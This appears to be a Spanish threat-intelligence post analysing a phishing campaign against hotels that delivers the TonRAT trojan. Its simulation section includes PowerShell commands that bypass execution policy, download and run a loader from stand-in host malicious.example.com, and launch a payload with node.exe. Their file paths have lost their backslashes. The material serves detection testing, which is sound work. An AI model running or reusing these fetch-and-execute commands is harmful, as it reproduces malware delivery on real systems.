SOC Prime Bias: Medio

12 Jun 2026 06:16 UTC

Análisis de Correos Electrónicos Sospechosos Dirigidos a la Industria Hotelera

Author Photo
SOC Prime Team linkedin icon Seguir
Análisis de Correos Electrónicos Sospechosos Dirigidos a la Industria Hotelera
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Una campaña de phishing que se hacía pasar por Booking.com tenía como objetivo a operadores hoteleros en Japón a través de infraestructura alojada en Calendly y SendGrid. El correo electrónico incluía un enlace acortado que llevaba a un archivo ZIP que contenía un acceso directo LNK malicioso, que luego iniciaba un cargador basado en PowerShell. Ese cargador obtenía scripts adicionales de PowerShell, desencriptaba una carga útil de JavaScript identificada como TonRAT, descargaba Node.js y ejecutaba el RAT. El malware establecía comando-y-control a través de un punto final de WebSocket obtenido a través de la API TON.

Investigación

El informe detalla el análisis del encabezado del correo electrónico, el abuso de servicios de entrega legítimos y la cadena de ejecución de múltiples etapas utilizada en el ataque. Proporciona los hashes de archivos para el archivo ZIP y sus componentes internos y lista los dominios de comando-y-control observados durante el análisis. La investigación también incluye detalles técnicos sobre el archivo LNK malicioso y los comandos de PowerShell utilizados para avanzar la infección.

Mitigación

Los defensores deben bloquear enlaces cortos sospechosos de Calendly, verificar cuidadosamente los dominios de los remitentes y restringir la ejecución de adjuntos LNK entregados por correo electrónico. La monitorización también debe enfocarse en actividad no autorizada de PowerShell y binarios inesperados de Node.js que aparezcan en los endpoints. El filtrado de URL puede ayudar a bloquear el acceso a los dominios maliciosos conocidos involucrados en la campaña.

Respuesta

Los equipos de seguridad deben crear detecciones para comandos de PowerShell que descarguen contenido desde los dominios de comando-y-control identificados y para la ejecución de node.exe desde ubicaciones inusuales. Las alertas también deben configurarse para los flujos de correo electrónico que usen encabezados de SendGrid de fuentes no confiables o inesperadas. Los investigadores deben recolectar archivos descargados y preservar el tráfico de red asociado con las comunicaciones de WebSocket observadas.

"graph TB %% Definiciones de Clase classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#cccccc %% Nodos action_phishing["<b>Acción</b> – <b>T1566.002 Enlace de Spearphishing</b><br/>Un correo de phishing que contiene un enlace malicioso de Calendly es enviado a la víctima."] class action_phishing action action_user_click["<b>Acción</b> – <b>T1204.001 Ejecución por Usuario: Enlace Malicioso</b><br/>La víctima hace clic en el enlace malicioso de Calendly, causando que el navegador descargue un archivo ZIP."] class action_user_click action action_download_zip["<b>Acción</b> – Descargar ZIP<br/>El archivo ZIP contiene un acceso directo (.lnk) y un archivo MP4 ficticio."] class action_download_zip action action_open_shortcut["<b>Acción</b> – <b>T1547.009 Modificación de Acceso Directo</b><br/>La víctima abre el acceso directo .lnk, que ejecuta un comando de PowerShell."] class action_open_shortcut action tool_powershell["<b>Herramienta</b> – PowerShell<br/><b>Propósito</b>: Ejecuta comandos y descarga cargas útiles adicionales."] class tool_powershell tool action_download_script["<b>Acción</b> – <b>T1105 Transferencia de Herramienta de Ingreso</b><br/>PowerShell descarga un script adicional desde un servidor remoto."] class action_download_script action action_download_js["<b>Acción</b> – <b>T1027.009 Cargas Incrustadas</b><br/>PowerShell también descarga una carga útil de JavaScript encriptada."] class action_download_js action action_download_node["<b>Acción</b> – Descargar Runtime de Node.js<br/>Se descarga el runtime de Node.js y se usa para lanzar la siguiente etapa."] class action_download_node process malware_tonrat["<b>Malware</b> – TonRAT<br/>Troyano de acceso remoto basado en JavaScript ejecutado a través de Node.js."] class malware_tonrat malware action_dynamic_resolution["<b>Acción</b> – <b>T1568 Resolución Dinámica</b><br/>TonRAT consulta la API TON para resolver dominios de comando-y-control en tiempo de ejecución."] class action_dynamic_resolution action action_c2["<b>Acción</b> – <b>T1071.001 Protocolo de Capa de Aplicación: Protocolos Web</b><br/>Establece un canal de WebSocket para comunicaciones de C2."] class action_c2 action %% Conexiones action_phishing –>|conduce_a| action_user_click action_user_click –>|activa| action_download_zip action_download_zip –>|contiene| action_open_shortcut action_open_shortcut –>|ejecuta| tool_powershell tool_powershell –>|usa| action_download_script tool_powershell –>|usa| action_download_js action_download_script –>|proporciona| action_download_node action_download_js –>|proporciona| action_download_node action_download_node –>|lanza| malware_tonrat malware_tonrat –>|realiza| action_dynamic_resolution action_dynamic_resolution –>|habilita| action_c2 "

Flujo de Ataque

Ejecución de Simulación

Prerequisito: El Control de Telemetría y Línea Base Prevuelo debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa de Ataque y Comandos:

    1. Acceso Inicial – Descarga PowerShell
      El atacante obtiene una sesión remota de PowerShell en el host comprometido y usa Invoke-WebRequest para obtener el script cargador de TonRAT desde un servidor C2 malicioso. Este paso satisface el Invoke-WebRequest coincidencia de cadena.

      powershell -NoProfile -ExecutionPolicy Bypass -Command ^
        "Invoke-WebRequest -Uri http://malicious.example.com/tonrat.ps1 -OutFile $env:TEMPtonrat.ps1"
    2. Ejecución del Cargador
      El script descargado se ejecuta, lo que a su vez genera un segundo proceso de PowerShell para ejecutar comandos adicionales (aún conteniendo el literal «PowerShell»).

      powershell -NoProfile -ExecutionPolicy Bypass -File $env:TEMPtonrat.ps1
    3. Ejecución de la Carga Útil de Node.js
      TonRAT deja caer un archivo JavaScript malicioso (malicious.js) y lo lanza con el runtime de Node.js (node.exe). Esto genera el node.exe coincidencia de cadena.

      # Supongamos que el script ya colocó malicious.js en C:Temp
      C:Program Filesnodejsnode.exe C:Tempmalicious.js

    Las tres creaciones de proceso (PowerShell con Invoke-WebRequest, PowerShell ejecutando el cargador, y node.exe) en conjunto satisfacen la condición de la regla de detección.

  • Script de Prueba de Regresión:

    #-------------------------------------------------
    # Simulación de Despliegue de TonRAT – activa regla SIGMA
    #-------------------------------------------------
    $tempDir = "$env:TEMPtonrat_demo"
    New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
    
    # 1. Descargar cargador falso (simulado con un simple echo)
    $loaderUrl = "http://malicious.example.com/tonrat.ps1"
    $loaderPath = "$tempDirtonrat.ps1"
    Invoke-WebRequest -Uri $loaderUrl -OutFile $loaderPath -UseBasicParsing
    
    # 2. Ejecutar el cargador (el cargador solo crea un archivo js ficticio)
    powershell -NoProfile -ExecutionPolicy Bypass -File $loaderPath
    
    # 3. Crear una carga útil de JavaScript ficticia
    $jsPath = "C:Tempmalicious.js"
    Set-Content -Path $jsPath -Value "console.log('Carga útil maliciosa ejecutada');"
    
    # 4. Ejecutar la carga con Node.js
    $nodePath = "C:Program Filesnodejsnode.exe"
    & $nodePath $jsPath
    #-------------------------------------------------
  • Comandos de Limpieza:

    # Eliminar todos los artefactos creados por la simulación
    Remove-Item -Path "$env:TEMPtonrat_demo" -Recurse -Force
    Remove-Item -Path "C:Tempmalicious.js" -Force
    # Opcionalmente matar cualquier proceso de PowerShell/Node lingering (si es necesario)
    Get-Process -Name "powershell","node" -ErrorAction SilentlyContinue | Stop-Process -Force